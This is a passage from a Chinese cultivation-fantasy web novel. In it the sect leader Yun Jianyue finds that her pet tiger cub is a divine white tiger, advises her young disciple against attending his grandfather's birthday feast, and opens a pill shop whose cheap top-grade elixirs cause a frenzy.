云见月再次化作流光,向着玄天宗方向急速掠去。 此刻的天元宗庭院里,苏心瑶正坐在石桌前生闷气。 从早上到现在,整整大半日过去了,她一口东西都没吃下去,光是想起,胃里就一阵阵翻江倒海,恶心感挥之不去。 储物袋被她扔得老远,闺房里的粪臭味散不去,只能坐在院子里呼吸新鲜空气。 “瑶瑶。”一旁的林思思苦着脸劝道:“玄天宗越来越邪门了,上次那个威压,咱们那么多人说摁跪就摁跪,当天晚上长老带着那么多高手去讨说法,结果稀里糊涂地给人家做了遍大扫除,现在咱们两个还……呕……” 话没说完,她自己又干呕了一声,脸色发青,“瑶瑶,要不算了吧?反正云见月跟楚少主闹翻了,她以后也没机会纠缠楚少主了,咱们何必再去招惹那个扫把星?” “算了?”苏心瑶狠狠一拍石桌,震得上面的茶具叮当作响,她咬牙切齿,眼圈都气红了,“她把我整得这么惨,我就这样忍气吞声放过她?那我苏心瑶的面子往哪搁? 不行!这口气我咽不下去,我一定要找她算账!” 林思思看着苏心瑶气鼓鼓的样子,心里哀叹连连。 每次对上云见月,她们俩准没好事,不是被打脸就是被羞辱。 这次更绝,直接掏了一晚上大粪! 唯一值得庆幸的是,这丢人现眼的一幕发生在晚上没被外人看见,天元宗的弟子们为了宗门声誉,也不可能说出去丢人现眼,否则她林思思真想找条地缝钻进去再也不出来了。 “要不等咱们修为提升以后再……”林思思刚想再劝,苏心瑶却猛地从石凳上跳了起来,指着天空尖叫道:“思思快看,那是不是云见月?” 只见一道银白色的流光,正从天元宗上空划过。 “好啊!她居然还敢从我天元宗头顶上飞过去?真当我天元宗是她家后院了?看我怎么教训她。” 苏心瑶怒火上头,根本不顾林思思的阻拦,体内灵力爆发,腾空而起,直直地冲上半空,精准地拦在了云见月必经之路的正前方。 “云!见!月!”苏心瑶叉着腰,鼓着腮帮子,声音又尖又亮,带着十二分的愤怒和一丝被娇惯出来的蛮横。 “你这个臭不要脸的贱人,心肠歹毒的臭粑粑精,害我那么惨,还敢大摇大摆从我头顶飞过去?你当本小姐是死的吗?看我今天不撕烂你那张勾引人的脸。”她骂得气势汹汹。 然而,让她万万没想到的是,面对她的谩骂和阻拦,云见月不仅没有丝毫减速的意思,甚至连方向都没有偏移半分,就这么直直地、带着一种视她如无物的漠然,朝着她所在的位置,如同离弦之箭般撞了过来。 苏心瑶脸上的得意瞬间凝固,“喂,你给我停下,停下,听见没有,啊啊啊——!!!” 尖叫声划破长空。 苏心瑶脸上的血色‘唰’地褪尽,整个人就感觉像是被一座冰山迎面撞上,“砰”一声闷响,伴随着她短促的痛呼和漫天金星…… 林思思在下面眼睁睁看着苏心瑶被撞飞出去,在空中划出一道狼狈的抛物线,“噗通”掉进了天元宗的荷花池里。 水花四溅,惊得池中锦鲤四散奔逃,荷叶荷花歪道一片。 林思思:“……”果然,又倒霉了。 她认命地跑向荷花池,等她手忙脚乱地把浑身湿透、沾满淤泥和水草、狼狈不堪的苏心瑶从池子里捞上来时,苏心瑶气得浑身发抖,指着早已消失在天际的身影,大骂: “云见月你这个天杀的,挨千刀的,走路不长眼的,我跟你势不两立,呜呜呜…...我的新裙子,我的头发,又臭了,呜呜呜……” 骂着骂着,巨大的委屈涌上心头,她再也忍不住,也不顾满身泥泞,一屁股坐在地上,放声大哭起来,哭得那叫一个惊天动地,毫无形象。 林思思看着哭得形象全无的苏心瑶,无奈又头疼,只能蹲下来,一边拍着她的背,一边干巴巴地安慰:“好了好了,瑶瑶别哭了,不气不气啊。” 你说你,这又是何苦呢?都说别招惹云见月了,你非不听。 这下好了,又被欺负了。 玄天宗,云见月稳稳落地。 她撩开宽大的衣袖。 手腕上的小蛇青光乍现,瞬间变回了人形。 “孩子们,为师回来啦!你们在家有没有乖乖的呀?”云见月的声音柔和下来,带着笑意。 五个小家伙像小炮弹似的冲了过来,围着她叽叽喳喳,小脸上洋溢着纯粹的喜悦。 “师尊,我们好想你。” “师尊,我们都有乖乖的哦!” “乖,都是为师的乖宝贝。”云见月心都要化了,挨个摸了摸他们的小脑袋。 这时,苏渺渺眨巴着乌溜溜如同黑葡萄般的大眼睛,格外认真地补充了一句:“虞叔叔也有乖乖躺在摇椅上晒太阳哦!” 云见月一愣,随即“噗嗤”一声笑了出来,目光揶揄地扫向院中摇椅上的某人,道:“好好好,你们的虞叔叔也乖。” 躺在摇椅上摇啊摇的虞青焰,身体几不可察地僵了一下,耳廓以肉眼可见的速度悄然染上了一层绯红。 他赶忙拿起折扇盖在即将红透的脸上,装作没听见。 “师尊。”苏渺渺的注意力被云见月身边气质独特的美人吸引,她好奇地看向青璃,“这个漂亮姐姐是谁呀?” 青璃闻声,低头看向这个还不到自己腰高的小不点。 对上青璃那双璀璨的金色眸子,苏渺渺非但没有害怕,反而惊奇地“哇”了一声,“哇!漂亮姐姐的眼睛是金色的,跟金子一样,好漂亮呀。” 说着,她像是想起了什么,献宝似的将一直抱在怀里的小白高高举了起来,凑到青璃面前,奶声奶气地说:“姐姐你看,小白的眼睛和你一样特别,是蓝色的。” 青璃对上渺渺纯真的黑眸,金色的眸子里刚浮现一丝极淡的、生涩的暖意,嘴角甚至微微牵动试图回应一个笑容,然而,就在这刹那,她的余光扫到了被高高举起的那团雪白,脸色骤变。 金色的瞳孔瞬间缩成竖瞳,她尖叫一声,身体猛地向后弹跳,人形在惊慌中维持不住,“唰”地变回十数丈长的巨蛇。 庞大的身躯轰然匍匐在地,坚硬的鳞片因剧烈的颤抖而相互摩擦,发出密集而恐惧的‘沙沙’声,巨大的蛇头死死地紧贴地面,呈现出一种近乎朝圣般的卑微跪拜姿态。 孩子们被这突如其来的变故吓的纷纷后退。 云见月护着孩子们,眼底闪过一丝惊疑不定的光芒。 她的目光在瑟瑟发抖、如同遇见天敌般恐惧臣服的巨大青蛇,和那只被渺渺抱在怀里、依旧一脸茫然无辜、甚至因为突然的动静而有些受惊地往渺渺怀里缩了缩小脑袋的小白虎之间来回扫视。 这只她随手捡来给渺渺当宠物的小东西……难道真有什么了不得的来历? 第49章 随手一捡,捡到了天之四灵——白虎 虞青焰忽然放下折扇,坐直了身体,平日里半眯的桃花眼完全睁开,若有所思地细细打量着被苏渺渺紧紧抱在怀里的小白虎。 云见月示意孩子们带着小白退远些,走到青璃身旁,蹲下身,将手掌轻轻按在她冰冷的鳞片上,注入一丝温和的灵力:“青璃,冷静下来,告诉我,你在恐惧什么?是那只小白虎吗?” 青璃的颤抖稍缓,巨大的蛇头艰难地抬起一点点,金色的瞳孔依旧死死盯着小白的方向,充满了源自灵魂深处的敬畏。 过了好半天,直到她确认那只小白虎对自己没有恶意,才终于能勉强控制住形态,青光一闪,重新化作人形模样。 只是,人形的青璃脸色依旧苍白如纸,身体难以抑制地微微发颤,指尖冰凉一片。 “是……血脉威压……”她的声音还在发颤,带着破碎的战栗,“至尊……那是统御万兽的至尊气息……” 在她的感知中,小白虎体内沉睡着一种极其古老、极其尊贵的血脉,如同凡人面对神明,根本生不出丝毫反抗之心,唯有臣服。 这种威压不仅针对蛇类,对所有妖兽都有着刻在骨子里的压制力。 云见月闻言,眉头紧紧锁起,看向远处正被苏渺渺逗弄的小白。 这只她在万瘴之森随手捡来的小虎崽,居然能对千年蛇妖产生血脉压制? 除非…… 云见月心中升起一个惊人的猜测。 “看来,这小家伙不是普通的白虎。”虞青焰重新摇起折扇,语气却带着几分凝重,“极有可能是上古神兽白虎的后裔。” “神兽白虎?”云见月心头一震。 青龙、白虎、朱雀、玄武并称天之四灵,那是传说中守护天地四方的至高圣灵,地位比凤凰、麒麟还要尊崇。 白虎主掌杀伐,象征肃杀与守护,是战伐之神,其威能足以震慑寰宇。 她万万没想到,自己随手一捡,竟然捡回了这样一位“小祖宗”! 小白平时除了吃就是睡,它现在力量尚未觉醒,看起来与普通虎崽无异,若非这血脉威压对青璃产生了如此剧烈的反应,他们根本无从察觉。 “上古白虎血脉现世,怕是会引来不少觊觎。”虞青焰看向云见月,“得把它藏好,至少在它成长起来之前,不能暴露身份。” 云见月郑重点头,神色凝重:“我明白。” 匹夫无罪,怀璧其罪,这个道理她太清楚了。 她转向脸色依旧苍白的青璃,声音放得更柔:“别怕,小白很温顺,以后大家都是自己人,慢慢适应就好了。” 青璃紧绷的肩膀微微松懈下来,长长呼出一口气,璀璨的金色眸子里,那几乎要满溢出来的恐惧终于如潮水般褪去几分,但仍残留着一丝心有余悸的微光。 转眼到了晚饭时间。 云见月对自己的厨艺向来颇有信心,每次下厨,都能让孩子们吃得小肚子滚圆,连挑剔的虞青焰都吃的不亦乐乎。 孩子们捧着碗,吃得脸颊鼓鼓,虞青焰嘴角噙着满足的笑意。 可唯独青璃,面前的碗几乎没动过,筷子戳着灵米,脸上满是为难,仿佛在受刑。 饭后,云见月看着青璃几乎没怎么动的碗,忍不住问道:“青璃,是我做的饭菜不合你胃口吗?” 青璃点了点头,又摇了摇头,表情纠结:“不是,只是……不太习惯。” 云见月恍然,青璃刚化形,或许还吃不惯人类的食物。 她起身道:“跟我来。” 她推开议事厅的门,指着桌上那盆堆得像小山似的中品丹和上品丹,笑道:“要不,你试试这个?” 原本兴致缺缺表情淡漠的青璃,目光触及那满满一盆丹药的瞬间,金色的竖瞳在刹那间收缩成一条细线,呼吸骤然变得急促而粗重,仿佛饥饿的猛兽终于发现了梦寐以求的猎物,“我……我真的可以吃吗?” “当然,想吃多少吃多少,管够。” 青璃的脸上绽放出巨大的惊喜,她甚至顾不上维持人形的矜持,几乎是“飘”到了盆旁边,抓起一把丹药就往嘴里塞,吃得比孩子们刚才还要香甜。 她本是千年蛇妖,对灵力的渴求远胜五谷,这些丹药对她而言,才是真正的“美味”。 而且,她才刚化形,灵力不稳,吃了这些丹药后,她只觉得浑身舒畅,维持人形也愈发得心应手。 云见月看得哑然失笑,摇了摇头。 行吧,蛇有蛇道,妖有妖途。 反正丹药对她来说如同流水线产品,青璃爱吃就随她去吧,总比饿着强。 她交代了青璃房间的位置,便不再打扰,转身离开了议事厅。 ...... 月色如水,洒在安静的院落里。 云见月正打算回自己的房间休息,却远远看见一个小小的身影,正踌躇地站在她的房门前。 那小小的身影背对着她,肩膀微微耷拉着,小手抬起又放下,似乎在犹豫着要不要敲门,又害怕打扰,显得格外孤单和无助。 是萧星尘。 云见月心中一软。 八岁的他是几个孩子里最大的,向来懂事。 自从上次夜里推心置腹的交谈后,他仿佛一夜之间长大了许多,默默承担起照顾师弟师妹的责任,再也没有因为自己修为进展缓慢而烦恼。 可今晚吃饭时,云见月就发现他有些心不在焉。 她放轻脚步走过去,温声唤道:“星辰,找为师有事?” 萧星尘显然没想到师尊会在身后,小小的身体猛地一颤,飞快地转过身,脸上带着被抓包的慌乱:“师、师尊,我…我没事。” 他下意识地否认。 云见月在他面前蹲下,目光与他平视,带着洞悉的温和:“没事?那为什么一直在为师的房门前徘徊?是不是又忘了师尊上次跟你说的话了?” 她轻轻握住孩子有些冰凉的小手,“我们是一家人,有福同享,有难同当,有任何问题,都要说出来,师尊会和你一起面对,一起想办法解决。” 萧星尘看着师尊温柔而坚定的眼神,又想起上次在自己最绝望时,师尊也是这样耐心开解自己。 心中的壁垒似乎松动了一些。 他低下头,小手紧张地绞着衣角,声音带着浓浓的迟疑和挣扎。 “师尊,三天后,是我爷爷七十大寿。” 云见月站起身,拉着他在院中的石凳上坐下,月光将一大一小两个身影拉长。 “嗯,星辰想去给爷爷贺寿?” 萧星尘沉默了,小小的身体绷得紧紧的。 “还是…...不想去?”云见月轻声问。 萧星尘的头垂得更低了,过了好一会儿,才极其艰难地点了点头。 随即,他又抬起头,眼眶有些发红:“可我是萧家人,是大房嫡子,若我不回去给爷爷过寿,一定会被族老们说不孝,被外人戳脊梁骨,可如果我去的话…...” 他咬了咬下唇,声音带上了一丝哽咽,“又会被他们嘲笑是没爹没娘的废物,被看不起连引气入体都做不到,被当成…...当成给萧家丢脸的耻辱,师尊,我该怎么办?” 云见月心疼地轻轻抚摸着萧星尘柔软的头发:“星辰,告诉师尊,你爷爷他对你好吗?” 萧星尘的脸上浮现出回忆的神色。 “一开始是很好的,爷爷会把最好的东西给我,会抱着我坐在他膝盖上,说我是萧家的希望。” 他顿了顿,眼中的光芒黯淡下去,“可是,后来就不那么好了。” 云见月心中了然。 萧星尘的父亲,是萧家年轻一辈的翘楚,被测出单一火灵根后,就举全族之力培养,后来拜入了第一大宗门太一仙宗。 八岁筑基,十二岁金丹,二十岁就已经是元婴期修士,是修真界公认的天才。 那时的萧家,因他一人而迅速崛起,跻身下域四大家族之列。 萧老爷子对这个天才儿子寄予厚望,连带着对刚出生的嫡孙萧星尘,也倾注了所有的宠爱和期待。 测出单一土灵根时,萧老爷子还高兴了好一阵子,认为萧家将再出一位麒麟儿。 然而,好景不长,萧星尘的父母在仙魔大战中双双陨落,第一大宗门太一仙宗,也在那次大战中覆灭。 萧家最大的依仗倒塌。 更雪上加霜的是,萧星尘这个被寄予厚望的长房嫡孙,无论投入多少资源,修为始终毫无寸进,被判定为悟性极差的废柴。 巨大的失望,让萧老爷子将目光转向了二房展现出不错天赋的萧凡。 曾经集万千宠爱于一身的萧星尘,在父母双亡后,在萧家的地位一落千丈,从云端跌入泥沼。 下人的怠慢,族人的冷眼,堂弟萧凡若有若无的优越感,以及爷爷日益明显的疏远…… 这一切,都让这个早慧的孩子对那个名为“家”的地方,感受不到丝毫温暖,只有无处不在的屈辱。 他对萧家没有感情,甚至有着深深的抗拒。 但“孝道”二字,如同沉重的枷锁,束缚着他。 萧星尘大大的眼眶迅速泛红,积蓄的泪水在里面打转,却倔强地不肯落下。 小小的肩膀微微耸动,声音带上了一丝极力压抑却仍泄露出来的哽咽: “不去,是不孝,去了,是自取其辱,师尊,我究竟该怎么办?” 这才是他此刻如此纠结、如此痛苦的根源。 第50章 店铺开张,物美价廉的极品丹药引起轰动 月色下,云见月看着陷入痛苦挣扎的萧星尘,眼中充满了理解和疼惜。 她掏出手帕轻轻擦去萧星尘的泪痕,声音温和却带着不容置疑的力量。 “星辰,抬起头来,看着为师。” 萧星尘依言抬头,眼中满是迷茫和无助的泪水。 云见月握住他的小手,指尖的温度透过掌心传来,她的声音温和却带着洞穿世事的深邃。 “你的顾虑,为师都懂。孝道,是立身之本,为师明白它在人心中的分量。 但星辰,真正的孝,并非流于形式,更非将自己置于刀山火海,明知山有虎偏向虎山行,去成全他人的偏见与恶意。” 她停顿了一下,目光如炬,直视着孩子的眼睛:“为师告诉你,这寿宴,我们不去。” 萧星尘猛地一震,眼中先是闪过一丝解脱,随即又被更深的担忧覆盖:“可是师尊,不回去,爷爷和族人还有外人,他们会说我不孝,会说爹娘没教好我,我......” “星辰。”云见月打断他,语气带着不容置疑的力量,却并非责备。 “你是个善良的好孩子,这份赤诚之心,是世间难得的珍宝。但正因如此,为师更要告诉你,越是善良,越要懂得保护自己。 善良若没有锋芒,就如同怀抱珍宝行走于闹市,只会引来贪婪的恶狼。” 她捡起地上一片落叶,指着上面的虫洞:“你看这片叶子,被虫子啃了个洞,它没有硬挺着和虫子较劲,而是借着风势落回土里,等到来年春天,化作养分让新叶生长。” “你看那林间弱小的刺猬,遇到强敌时,它会怎么做?它会蜷缩起来,露出尖刺,保护柔软的腹部。” “再看那枯叶蝶,它生来弱小,却懂得将自己伪装成一片不起眼的枯叶,避过鸟雀的啄食。” “它们并非懦弱,也非不勇敢,而是懂得隐忍和避让。 忍一时风平浪静,退一步海阔天空。 这不是认输,而是为了积蓄力量,等待时机,不可争一日之短长,只凭血气之勇,只会以惨败收场。” 萧星尘的眼神渐渐清明,小声问:“可……可是族人会笑话我……” “笑话又如何?”云见月笑了笑,“当年司马懿被诸葛亮送巾帼女装羞辱,全军将士都气得要出战,他却能忍常人所不能忍,坦然穿上女装,硬生生熬死了诸葛亮,为子孙奠定一统根基。 世人笑他怯懦,可笑到最后的,正是能忍的人。” “他忍的是一时之气,图的是千秋之功,《道德经》有云:曲则全,枉则直,洼则盈,敝则新。懂得弯曲、退让,才能保全自身,才能迎来新生。” 她轻轻刮了下萧星尘的鼻子:“星辰,你如今在萧家眼中,便是那弱小的一方。 你是个善良的孩子,总想着我是萧家人,该尽孝,可这份没锋芒的善良,在恶人眼里就是可欺。 他们嘲笑你,打压你,并非因为你做错了什么,仅仅是因为他们能,并且想这么做。 这个世界,很多时候不是靠嗓门来说话,也不是靠道理来辨明,而是靠实力,靠拳头来定夺。 在你羽翼未丰,力量不足以自保、不足以震慑宵小之前,避其锋芒,韬光养晦,是最高明的自保之道,也是最大的勇气。 为师不希望你做一个‘愚善’之人,为了一个虚名,将自己置于险境,任由他人践踏你的尊严,消磨你的心志。 也不希望你做个睚眦必报的狠人。” 云见月凝视着他的眼睛,一字一句道:“为师希望你的善良,是建立在正心正念正行的基础之上。” “师尊,什么是正心正念正行?” 云见月的声音斩钉截铁:“是对值得的人守礼,对恶意的人亮剑;做事无愧于天地,更无愧于自己。” “记住,你的心念和行动,首先要对得起自己!” “萧家的寿宴,不去不是不孝,是不想让你在不值得的人面前受委屈。” “星辰,待你长成参天大树,枝繁叶茂之时,今日的种种委屈,不过是你强大路上微不足道的尘埃,届时再回萧家,他们只会敬你,而不是笑你。” “为师愿你:俯仰无愧天地,行止无愧于心,此乃大丈夫所为,这,才是为师对你的期望。” 夜风拂过,萧星尘突然觉得心里那道“必须去”的枷锁,好像松了。 郁结于心的阴霾,在师尊孜孜不倦的教诲下,一扫而空。 他的一张小脸上满是坚定,“师尊,徒儿明白了。” 云见月冲他一笑:“为师就知道我家星辰最是聪慧,你要记住,绕的是弯路,避的是陷阱,最终要走的,仍是你自己的道。” “嗯。”萧星尘重重点头。 月色溶溶,安抚好萧星尘后,云见月先行送他回去,随后带着一丝疲惫走回自己院落。 刚至月洞门前,却见那株繁茂的月桂树下,站着一道颀长的身影。 虞青焰不知何时等在那里,月光为他镀上一层清辉,手中折扇轻摇,更添几分风流。 “你怎么在这?”她有些意外。 虞青焰桃花眼中含着少有的认真与欣赏,唇角微勾:“感觉自己上了一堂人生哲理课,受益匪浅。” “云宗主,你上辈子怕不是个开馆授徒、诲人不倦的夫子吧?” 云见月心道:嘿,你还真猜对了,姐上辈子就是专业带娃的幼师,哄孩子讲大道理是专业的。 不过她面上不显,笑道:“被你发现了?我的课可是很贵的,下次再偷听,可就要收费了。” 虞青焰“唰”地展开折扇,掩住半边俊脸,只露出一双含笑勾人的眼眸:“要钱?没有。” 他拖长了尾音,带着惯有的散漫,“要命么……倒有一条鲜活的,要不要?” 又开始没正行了。 云见月没好气地白了他一眼,“懒得跟你贫,我要睡觉了,明天还得早起给孩子们做饭、上早课呢。” 提到“早课”,虞青焰忍不住想起她教孩子们的那些“奇言怪行”。 什么“三人行,必有我师焉”:有三个人,只要其中有一个是我,战力就相当于一个师。 什么“凡事预则立,不预则废”:但凡打架,只要犹豫,对面便站起来了,不犹豫便能直接将对面打废。 偏偏孩子们听得比谁都认真。 他嘴角噙着笑意,眼底却掠过一丝认同:她教孩子的法子,确实独到。 不论是郁仙被欺负时,她那句“欲解心头恨,拔剑斩仇人”的果决;还是对江迷雾的耐心托举,让那孩子变得坚定更有信心;亦或是今夜对萧星尘那番振聋发聩的教导,字字句句直指本心,化解枷锁。 看着她渐渐远去的纤细背影,虞青焰唇角的笑意加深,唇边那点红色的朱砂痣在月光下愈发显得妖冶惑人。 转眼三日过去。 花影那边传来消息,丹药铺已准备妥当。 今日,既是萧老爷子七十大寿,也是“长春堂”开张的日子。 青璃早已提前到店中待命,为了遮掩她那双金色的异瞳,云见月特意给她系了一条青色丝带,遮住双眼。 这非但没有折损她的气质,反而为她清冷绝艳的容颜增添了几分神秘莫测的疏离感。 一身青色流云广袖群,衬得她身姿挺拔如青竹,静静伫立在柜台后,如同一位不可亵渎的神女。 此刻,云见月、虞青焰带着孩子们,正坐在与“长春堂”隔街相望的酒楼二楼雅间。 此处视野极佳,能将对面铺子的盛况尽收眼底。 只见铺门上方悬着一块墨玉牌匾,上书“长春堂”三个鎏金大字,字体飘逸,隐隐有灵力流转。 两侧挂着一副气势非凡的朱红洒金对联: 上联:丹承上界玲珑法 下联:药济苍生造化功 “这对联是你想的?”云见月看向身旁的花影。 花影得意地扬起下巴:“怎么样?是不是很妙?虚虚实实,这副对联往这一贴,保管药仙谷和青云剑宗的人,心里也得打鼓,只当背后是上域大宗呢。” 他一副“快夸我”的表情。 云见月莞尔,目光再次投向楼下。 此时,“长春堂”门前已是人山人海,水泄不通。 吸引人群目光焦点的,莫过于那面巨大的落地玻璃窗,在阳光下折射出炫目的光芒,宛如一块镶嵌在墙面上的巨大水晶。 连店门都是推拉式的玻璃门,晶莹剔透,在修真界堪称闻所未闻。 长春堂瞬间成为整条街最耀眼的存在。 “天哪!这是什么材质?竟能如此通透。” “琉璃?怎么可能有这么大块、这么纯净的琉璃?” “这得耗费多少天材地宝?背后势力当真深不可测。” “摸起来冰冰凉凉的,居然一点灵力波动都没有,到底是什么材质?” 修士们,无论是见多识广的散修,还是各大宗门的弟子,此刻都如同第一次进城的乡巴佬,脸上写满了难以置信的震撼和好奇。 许多人忍不住凑上前去,小心翼翼地伸出手指触摸那光滑冰凉的“琉璃”,感受着那非金非玉的奇异质感。 一时间,长春堂门前被围得水泄不通,成了整条街的焦点。 阳光透过玻璃窗照进店内,门外的修士们得以清晰地看到铺内的景象。 只见宽敞明亮的大堂内,一排排由灵木打造,镶嵌着玻璃的展示柜整齐排列。 而让所有围观者瞬间窒息、大脑一片空白的是—— 展示柜里陈列的丹药! 并非一颗两颗,而是一排排、一列列,密密麻麻,数不胜数。 每一颗丹药都浑圆饱满,散发着温润如玉的光泽,表面隐隐有玄奥的云纹流转不息。 最惊人的是,放眼望去,竟全是极品丹。 一眼望去,铺满了视野所及的柜台,数量之多,粗略估计,竟有上千颗。 死寂! 绝对的死寂笼罩了人山人海的街道。 所有人都瞪大了眼睛,张大了嘴巴,仿佛被施了定身咒。 时间仿佛在这一刻凝固了。 “我……我是不是在做梦?” “极…极品丹?这么多?这…这怎么可能?” “幻觉!一定是幻觉。” “药仙谷一年也未必能炼出这么多极品丹药吧?这长春堂到底是什么来头?” 就在这极致的震撼和死寂之中,不知是谁,眼尖地看到了展示柜下方标注的,那小小的价格牌。 下一秒,如同滚烫的油锅里滴入了冷水! “轰——!!!” 人群彻底疯狂了。 “极品疗伤丹,五十灵石/颗;极品聚气丹,八十灵石/颗……” 一个修士失声尖叫,“药仙谷的下品疗伤丹都要卖一百灵石,现在打折后卖五十灵石,他们的极品丹居然也要五十?” “这价格是疯了吗?” “绝对不可能!肯定是有什么猫腻!” “假的!绝对是假的!不可能!绝对不可能有这么便宜的事!” “让开!让我进去!我要买!就算是屎我也要尝尝咸淡。” “排队!都他娘的给老子排队!谁插队老子砍了他!” 楼下乱做一团。 楼上雅间内,花影笑得花枝乱颤:“啧啧,月月,你这价格,简直是把药仙谷的底裤都冲没了啊。” 云见月端起茶杯,轻轻吹了口气,唇角勾起一抹从容的弧度。 好戏,才刚刚开始。 第51章 丹药生意太过火爆,差点把房盖掀翻 长春堂内外,早已排起长龙,喧嚣声浪几乎要掀翻屋顶。 然而,细心观察便能发现,排在最前列、眼神热切的修士终究是少数,后面乌泱泱的人群,更多是抱着看热闹和强烈怀疑的心态。 “极品丹卖下品丹的价?骗鬼呢吧!” “就是,药仙谷的下品聚气丹都卖八十灵石,这里极品才八十?傻子才信!” “我看呐,要么是挂羊头卖狗肉,要么就是有什么我们不知道的猫腻,等着看吧,谁买谁上当。” 议论声此起彼伏。 丹药对修士的重要性毋庸置疑,但炼丹师的稀缺和垄断,早已让丹药价格高不可攀。 平日里,普通散修省吃俭用几个月,才能抠出一两颗下品丹的钱。 极品丹?那更是梦里都不敢肖想的奢侈品。 巨大的价格反差,让绝大多数人望而却步,只敢抱着“看看再说”的心态,在队伍里推搡观望。 最终,在一阵推搡和起哄声中,一个须发皆白、身形佝偻如虾的老者,被众人推搡着踉跄到了柜台前。 老者脸上沟壑纵横,浑浊的双眼透着深深的疲惫。 他修为停在炼气十二层已有几十年,寿元将尽。 突破筑基期能增长一百年寿命,这是他活下去的唯一希望,但一枚下品筑基丹高达四百灵石,即便药仙谷打折也要两百灵石,且成功率不足一成。 他早已绝望,只待大限来临。 长春堂的极品筑基丹两百灵石,像是一道微弱的光,刺破了他心头的死寂。 他颤抖着枯瘦如柴的手,摸索了好一阵,才颤巍巍地掏出积攒了一辈子,几乎是他全部家当的两百块下品灵石,小心翼翼地堆在柜台上。 “掌柜的,老朽要一颗筑基丹。”他的声音沙哑干涩,带着孤注一掷的决绝。 这长春堂的极品丹,他买了,全当死马当成活马医了。 蒙着青色丝带的青璃,面色无波,清冷地点了点头。 她玉手一挥,一枚龙眼大小,表面有金色云纹流转的丹药,精准地落入老者掌心。 丹药入手的那一刻,一股难以言喻的磅礴精纯灵气便汹涌而出。 仅仅是这逸散的气息钻入鼻腔,老者便感觉丹田内沉寂多年的灵力猛地一荡,那卡了他近几十年的炼气十二层瓶颈,竟出现了一丝松动的迹象。 老者浑浊的眼球瞬间爆发出难以置信的希冀光芒,他不再犹豫,仿佛抓住了最后一根救命稻草,仰头便将那枚极品筑基丹吞服下去。 丹药入口即化。 下一秒,惊人的一幕发生了。 磅礴的灵气从老者体内炸开,白色的须发无风自动,佝偻的背脊竟缓缓挺直。 他周身浮现出淡金色的光茧,将其包裹其中,原本微弱的灵力如同决堤的洪水,疯狂冲击着筑基期的壁垒。 “轰!” 光茧碎裂,一股属于筑基期的威压扩散开来。 老者睁开眼,眸中已无半分老态。 “成了……我筑基成功了!”他放声大笑,声音洪亮得不像百岁老人。 全场死寂。 所有人都如同被掐住了脖子,眼珠子瞪得几乎要掉出来。 认出老者的修士们最先反应过来,惊得嘴巴能塞进去鸡蛋。 “张…张老头?是南街那个快老死的张老头?他…他筑基了?真的筑基了?” “我的天!极品筑基丹是真的!” 短暂的死寂之后,是山崩海啸般的彻底疯狂。 “让开!给我让开!我要筑基丹!不!聚气丹也要!” “掌柜!聚气丹!疗伤丹!有多少我要多少!灵石管够!” “前面的别挡道!老子要买十颗!” “啊!我的灵石!谁踩我脚了!” 所有的怀疑、观望,在老者当众筑基成功的铁证面前,瞬间化为乌有。 人群彻底暴动,如同决堤的洪水,疯狂地涌向柜台。 灵石的光芒在人群中疯狂闪烁,喊叫声、推搡声、突破的灵力波动混杂在一起,场面一度濒临失控。 若非柜台后的青璃适时释放出元婴修士的强横威压,强行稳住了混乱的场面,只怕早已发生流血踩踏事件。 混乱中,有人迫不及待地服下丹药。 一个卡在炼气九层多年的散修,吞下聚气丹后,浑身猛地一震,灵力瞬间冲破瓶颈,硬生生晋入炼气十层,他激动得原地蹦了三蹦:“我突破了!真的突破了!哈哈哈——” 更惊人的是一个独臂修士,他颤抖着服下疗伤丹,他那空荡荡的袖管下,断臂处骤然爆发出柔和的乳白色光芒。 血肉如同活物般蠕动、交织、延伸,筋肉脉络迅速覆盖,皮肤随之生成…… 不过十数息,一条与原先别无二致、肤色健康的手臂,便完完整整地长了出来。 他摸着失而复得的手臂,放声大哭:“比药仙谷的丹药强十倍!不!强一百倍!” 长春堂内外,此起彼伏的突破灵光不断闪烁。 修士们的欢呼声、惊叹声震耳欲聋。 酒楼二楼雅间,花影趴在窗沿,看着楼下那如同炼狱抢食般的疯狂景象,啧啧称奇。 “乖乖!我想过咱们生意会火爆,可这也太离谱了吧?要不是有青璃镇着,下面那群人能把屋顶都掀了。” 他转头看向气定神闲喝茶的云见月,挤眉弄眼,“月月,以后你这灵石怕是要堆成山了,我突然不想努力了,要不我别回合欢宗了,吃你的软饭行不行?” 云见月失笑,递给他一瓶极品丹:“软饭没有,丹药管够。” 花影闻言,瞬间切换成星星眼模式,双手托腮,直勾勾地对云见月放电:“我就知道月月对我最好了~人家最爱你了。” “可惜,我的师尊不爱你。”苏渺渺突然来了这么一句童言无忌的话。 “噗嗤——”大家都忍不住笑出声来。 楼上气氛轻松愉快,楼下生意火爆。 然而,与长春堂的火爆相比,隔壁的药仙阁冷清得像被打入了冷宫。 自从谷主郁长林下令全店丹药五折促销后,药仙阁也曾风光过几天,掌柜忙得脚不沾地,算盘珠子都要拨出火星子了,累得恨不得关门大吉。 谁曾想,隔壁那家不起眼的包子铺摇身一变成了“长春堂”,一开业就给了他们致命一击。 长春堂的极品丹不仅比他们的下品丹便宜,药效更是天差地别。 刚才他亲眼看到,张老头那个炼气期的废柴都筑基了,自家店里最好的中品筑基丹,成功率也不过三成。 药仙阁的胖掌柜,此刻正扒着自家门框,探出半个身子,脸色铁青地看着对面那人山人海、灵气冲天的盛况。 尤其是看到那些吃了丹药当场突破,伤势痊愈的修士,那场面连他自己都忍不住咽了口唾沫,心里直犯嘀咕:这极品丹真有那么好?要不我也去抢一颗尝尝咸淡? 不行不行,我们可是竞争关系,我怎么能有这么可怕的想法。 胖掌柜急得像热锅上的蚂蚁,在空荡荡的店铺里团团转。 “不行,得告诉谷主!” 他慌忙掏出传讯玉简,给谷主紧急传讯:“谷主,大事不好了,咱们药仙阁隔壁新开了一家丹药铺,把咱们的生意全都抢走了。” 消息传出去,如同石沉大海,久久没有回应。 掌柜的急得直跺脚:“谷主定然是在萧家寿宴上应酬,没空看玉简,这可如何是好啊。” 他刚要再传讯,就见两个穿着天元宗服饰的女修站在门口,似乎是要走进来。 “瑶瑶,你今天出来,不会又是要找云见月的麻烦吧?”林思思一脸生无可恋,苦口婆心地劝着身边斗志昂扬的苏心瑶,“别再去找她了,每次吃亏的永远是我们,你现在最要紧的是提升修为,等你修为超过她,想怎么捏圆搓扁不都随你?” 苏心瑶双手叉腰,“哼!本小姐咽不下这口气,不过思思你说的对,修为才是硬道理,但是......” 她话锋一转,眼中闪烁着“智慧”的光芒,“修炼提升太慢了,我等不了那么久。” 